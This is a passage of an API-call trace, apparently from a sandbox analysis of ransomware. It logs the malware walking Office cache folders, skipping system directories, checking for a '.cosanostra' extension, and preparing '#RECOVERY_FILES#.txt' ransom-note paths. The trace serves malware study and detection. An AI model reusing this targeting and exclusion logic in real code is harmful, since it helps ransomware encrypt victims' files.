lstrlenW (lpString="Windows") returned 7 [0076.714] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files") returned 1 [0076.714] lstrlenW (lpString="Program Files") returned 13 [0076.714] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files (x86)") returned 1 [0076.714] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.714] lstrcmpiW (lpString1="Setup.xml", lpString2="$Recycle.bin") returned 1 [0076.714] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.714] lstrcmpiW (lpString1="Setup.xml", lpString2="System Volume Information") returned -1 [0076.714] lstrlenW (lpString="System Volume Information") returned 25 [0076.714] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0076.714] StrStrIW (lpFirst="Setup.xml", lpSrch=".cosanostra") returned 0x0 [0076.714] lstrcmpW (lpString1="Setup.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.714] lstrcmpW (lpString1="Setup.xml", lpString2="_uninstalling_.png") returned 1 [0076.714] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0076.715] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0076.715] FindClose (in: hFindFile=0x24c310 | out: hFindFile=0x24c310) returned 1 [0076.715] wnsprintfW (in: pszDest=0x253ea8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0076.715] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0076.715] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0076.715] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1 [0076.715] lstrlenW (lpString="Windows") returned 7 [0076.715] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="Program Files") returned -1 [0076.715] lstrlenW (lpString="Program Files") returned 13 [0076.715] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="Program Files (x86)") returned -1 [0076.715] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.715] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="$Recycle.bin") returned 1 [0076.715] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.715] lstrcmpiW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="System Volume Information") returned -1 [0076.715] lstrlenW (lpString="System Volume Information") returned 25 [0076.715] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C") returned 66 [0076.715] lstrcmpW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0076.715] lstrcmpW (lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0076.715] wnsprintfW (in: pszDest=0x2681c8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*") returned 68 [0076.715] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a770 [0077.090] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0077.090] lstrlenW (lpString="Windows") returned 7 [0077.090] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0077.090] lstrlenW (lpString="Program Files") returned 13 [0077.090] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0077.090] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.090] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0077.090] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.090] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0077.090] lstrlenW (lpString="System Volume Information") returned 25 [0077.090] wnsprintfW (in: pszDest=0x2681c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\.") returned 68 [0077.090] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.090] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0077.090] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.090] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0077.090] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\.") returned 68 [0077.090] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.090] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0077.090] lstrlenW (lpString="Windows") returned 7 [0077.090] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0077.090] lstrlenW (lpString="Program Files") returned 13 [0077.090] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0077.090] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.090] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0077.090] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.091] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0077.091] lstrlenW (lpString="System Volume Information") returned 25 [0077.091] wnsprintfW (in: pszDest=0x2681c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\..") returned 69 [0077.091] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.091] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.091] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0077.091] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.091] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0077.091] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\..") returned 69 [0077.091] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.091] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="Windows") returned -1 [0077.091] lstrlenW (lpString="Windows") returned 7 [0077.091] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="Program Files") returned -1 [0077.091] lstrlenW (lpString="Program Files") returned 13 [0077.091] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="Program Files (x86)") returned -1 [0077.091] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.091] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="$Recycle.bin") returned 1 [0077.091] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.091] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="System Volume Information") returned -1 [0077.091] lstrlenW (lpString="System Volume Information") returned 25 [0077.091] wnsprintfW (in: pszDest=0x2681c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 82 [0077.091] StrStrIW (lpFirst="Office32MUI.msi", lpSrch=".cosanostra") returned 0x0 [0077.091] lstrcmpW (lpString1="Office32MUI.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.091] lstrcmpW (lpString1="Office32MUI.msi", lpString2="_uninstalling_.png") returned 1 [0077.091] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 82 [0077.091] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.091] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="Windows") returned -1 [0077.091] lstrlenW (lpString="Windows") returned 7 [0077.091] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="Program Files") returned -1 [0077.091] lstrlenW (lpString="Program Files") returned 13 [0077.091] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="Program Files (x86)") returned -1 [0077.091] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.091] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="$Recycle.bin") returned 1 [0077.091] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.091] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="System Volume Information") returned -1 [0077.091] lstrlenW (lpString="System Volume Information") returned 25 [0077.091] wnsprintfW (in: pszDest=0x2681c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 82 [0077.092] StrStrIW (lpFirst="Office32MUI.xml", lpSrch=".cosanostra") returned 0x0 [0077.092] lstrcmpW (lpString1="Office32MUI.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.092] lstrcmpW (lpString1="Office32MUI.xml", lpString2="_uninstalling_.png") returned 1 [0077.092] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 82 [0077.092] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.092] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="Windows") returned -1 [0077.092] lstrlenW (lpString="Windows") returned 7 [0077.092] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="Program Files") returned -1 [0077.092] lstrlenW (lpString="Program Files") returned 13 [0077.092] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="Program Files (x86)") returned -1 [0077.092] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.092] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="$Recycle.bin") returned 1 [0077.092] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.092] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="System Volume Information") returned -1 [0077.092] lstrlenW (lpString="System Volume Information") returned 25 [0077.092] wnsprintfW (in: pszDest=0x2681c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 79 [0077.092] StrStrIW (lpFirst="OWOW32LR.cab", lpSrch=".cosanostra") returned 0x0 [0077.092] lstrcmpW (lpString1="OWOW32LR.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.092] lstrcmpW (lpString1="OWOW32LR.cab", lpString2="_uninstalling_.png") returned 1 [0077.092] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 79 [0077.092] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.092] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1 [0077.092] lstrlenW (lpString="Windows") returned 7 [0077.092] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files") returned 1 [0077.092] lstrlenW (lpString="Program Files") returned 13 [0077.092] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files (x86)") returned 1 [0077.092] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.092] lstrcmpiW (lpString1="Setup.xml", lpString2="$Recycle.bin") returned 1 [0077.092] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.092] lstrcmpiW (lpString1="Setup.xml", lpString2="System Volume Information") returned -1 [0077.092] lstrlenW (lpString="System Volume Information") returned 25 [0077.092] wnsprintfW (in: pszDest=0x2681c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0077.092] StrStrIW (lpFirst="Setup.xml", lpSrch=".cosanostra") returned 0x0 [0077.092] lstrcmpW (lpString1="Setup.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.092] lstrcmpW (lpString1="Setup.xml", lpString2="_uninstalling_.png") returned 1 [0077.092] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0077.093] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0077.093] FindClose (in: hFindFile=0x25a770 | out: hFindFile=0x25a770) returned 1 [0077.093] wnsprintfW (in: pszDest=0x2681c8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0077.093] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0077.093] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0077.093] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1 [0077.093] lstrlenW (lpString="Windows") returned 7 [0077.093] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="Program Files") returned -1 [0077.093] lstrlenW (lpString="Program Files") returned 13 [0077.093] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="Program Files (x86)") returned -1 [0077.093] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.093] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="$Recycle.bin") returned 1 [0077.093] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.093] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="System Volume Information") returned -1 [0077.093] lstrlenW (lpString="System Volume Information") returned 25 [0077.094] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C") returned 66 [0077.094] lstrcmpW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0077.094] lstrcmpW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0077.094] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*") returned 68 [0077.094] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a770 [0077.220] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0077.220] lstrlenW (lpString="Windows") returned 7 [0077.220] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0077.220] lstrlenW (lpString="Program Files") returned 13 [0077.220] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0077.220] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.220] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0077.220] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.221] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0077.221] lstrlenW (lpString="System Volume Information") returned 25 [0077.221] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\.") returned 68 [0077.221] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.221] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0077.221] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.221] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0077.221] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\.") returned 68 [0077.221] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.221] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0077.221] lstrlenW (lpString="Windows") returned 7 [0077.221] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0077.221] lstrlenW (lpString="Program Files") returned 13 [0077.221] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0077.221] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.221] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0077.221] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.221] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0077.221] lstrlenW (lpString="System Volume Information") returned 25 [0077.221] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\..") returned 69 [0077.221] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.221] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.221] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0077.221] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.221] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0077.221] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\..") returned 69 [0077.222] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.222] lstrcmpiW (lpString1="InfLR.cab", lpString2="Windows") returned -1 [0077.222] lstrlenW (lpString="Windows") returned 7 [0077.222] lstrcmpiW (lpString1="InfLR.cab", lpString2="Program Files") returned -1 [0077.222] lstrlenW (lpString="Program Files") returned 13 [0077.222] lstrcmpiW (lpString1="InfLR.cab", lpString2="Program Files (x86)") returned -1 [0077.222] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.222] lstrcmpiW (lpString1="InfLR.cab", lpString2="$Recycle.bin") returned 1 [0077.222] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.222] lstrcmpiW (lpString1="InfLR.cab", lpString2="System Volume Information") returned -1 [0077.222] lstrlenW (lpString="System Volume Information") returned 25 [0077.222] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 76 [0077.222] StrStrIW (lpFirst="InfLR.cab", lpSrch=".cosanostra") returned 0x0 [0077.222] lstrcmpW (lpString1="InfLR.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.222] lstrcmpW (lpString1="InfLR.cab", lpString2="_uninstalling_.png") returned 1 [0077.222] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 76 [0077.222] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.222] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="Windows") returned -1 [0077.222] lstrlenW (lpString="Windows") returned 7 [0077.222] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="Program Files") returned -1 [0077.222] lstrlenW (lpString="Program Files") returned 13 [0077.222] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="Program Files (x86)") returned -1 [0077.222] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.222] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="$Recycle.bin") returned 1 [0077.222] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.222] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="System Volume Information") returned -1 [0077.222] lstrlenW (lpString="System Volume Information") returned 25 [0077.222] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 82 [0077.222] StrStrIW (lpFirst="InfoPathMUI.msi", lpSrch=".cosanostra") returned 0x0 [0077.222] lstrcmpW (lpString1="InfoPathMUI.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.223] lstrcmpW (lpString1="InfoPathMUI.msi", lpString2="_uninstalling_.png") returned 1 [0077.223] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 82 [0077.223] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.223] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="Windows") returned -1 [0077.223] lstrlenW (lpString="Windows") returned 7 [0077.223] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="Program Files") returned -1 [0077.223] lstrlenW (lpString="Program Files") returned 13 [0077.223] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="Program Files (x86)") returned -1 [0077.223] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.223] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="$Recycle.bin") returned 1 [0077.223] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.223] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="System Volume Information") returned -1 [0077.223] lstrlenW (lpString="System Volume Information") returned 25 [0077.223] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 82 [0077.223] StrStrIW (lpFirst="InfoPathMUI.xml", lpSrch=".cosanostra") returned 0x0 [0077.223] lstrcmpW (lpString1="InfoPathMUI.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.223] lstrcmpW (lpString1="InfoPathMUI.xml", lpString2="_uninstalling_.png") returned 1 [0077.223] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 82 [0077.223] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.223] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1 [0077.223] lstrlenW (lpString="Windows") returned 7 [0077.223] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files") returned 1 [0077.223] lstrlenW (lpString="Program Files") returned 13 [0077.223] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files (x86)") returned 1 [0077.223] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.223] lstrcmpiW (lpString1="Setup.xml", lpString2="$Recycle.bin") returned 1 [0077.223] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.223] lstrcmpiW (lpString1="Setup.xml", lpString2="System Volume Information") returned -1 [0077.223] lstrlenW (lpString="System Volume Information") returned 25 [0077.224] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0077.224] StrStrIW (lpFirst="Setup.xml", lpSrch=".cosanostra") returned 0x0 [0077.224] lstrcmpW (lpString1="Setup.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.224] lstrcmpW (lpString1="Setup.xml", lpString2="_uninstalling_.png") returned 1 [0077.224] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0077.224] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0077.224] FindClose (in: hFindFile=0x25a770 | out: hFindFile=0x25a770) returned 1 [0077.225] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0077.225] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0077.225] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0077.225] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1 [0077.225] lstrlenW (lpString="Windows") returned 7 [0077.225] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="Program Files") returned -1 [0077.225] lstrlenW (lpString="Program Files") returned 13 [0077.225] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="Program Files (x86)") returned -1 [0077.225] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.225] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="$Recycle.bin") returned 1 [0077.225] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.225] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="System Volume Information") returned -1 [0077.225] lstrlenW (lpString="System Volume Information") returned 25 [0077.225] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C") returned 66 [0077.225] lstrcmpW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0077.225] lstrcmpW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0077.225] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*") returned 68 [0077.226] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a770 [0077.226] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0077.226] lstrlenW (lpString="Windows") returned 7 [0077.226] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0077.226] lstrlenW (lpString="Program Files") returned 13 [0077.226] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0077.226] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.226] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0077.226] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.226] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0077.226] lstrlenW (lpString="System Volume Information") returned 25 [0077.226] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\.") returned 68 [0077.226] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.226] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0077.226] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.226] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0077.226] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\.") returned 68 [0077.226] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.227] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0077.227] lstrlenW (lpString="Windows") returned 7 [0077.227] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0077.227] lstrlenW (lpString="Program Files") returned 13 [0077.227] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0077.227] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.227] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0077.227] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.227] 